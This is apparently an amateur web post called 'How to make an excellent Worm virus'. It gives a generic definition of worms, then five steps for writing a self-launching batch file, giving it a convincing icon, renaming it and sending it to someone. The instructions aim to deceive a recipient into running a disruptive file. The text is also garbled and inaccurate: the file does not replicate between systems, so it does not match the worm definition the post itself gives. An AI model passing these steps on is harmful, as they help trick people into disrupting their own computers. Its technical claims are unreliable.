How to make an excellent Worm virus

What is a worm?
Worms are programs that replicate themselves from system to system without the use of a host file. This is in contrast to viruses, which requires the spreading of an infected host file. Although worms generally exist inside of other files, often Word or Excel documents, there is a difference between how worms and viruses use the host file. Usually the worm will release a document that already has the "worm" macro inside the document. The entire document will travel from computer to computer, so the entire document should be considered the worm W32.Mydoom.AX@mm is an example of a worm.

Step 1:
Go to notepad and type "startvirus.bat" 
Step 2:
THen go to save as and nameit something like "virus.bat"Step 3:
Now create shortcut so you can change icon so it looks more serious.Step 4:
THen go to properties and change iconStep5:
Now rename it and sent it to some one.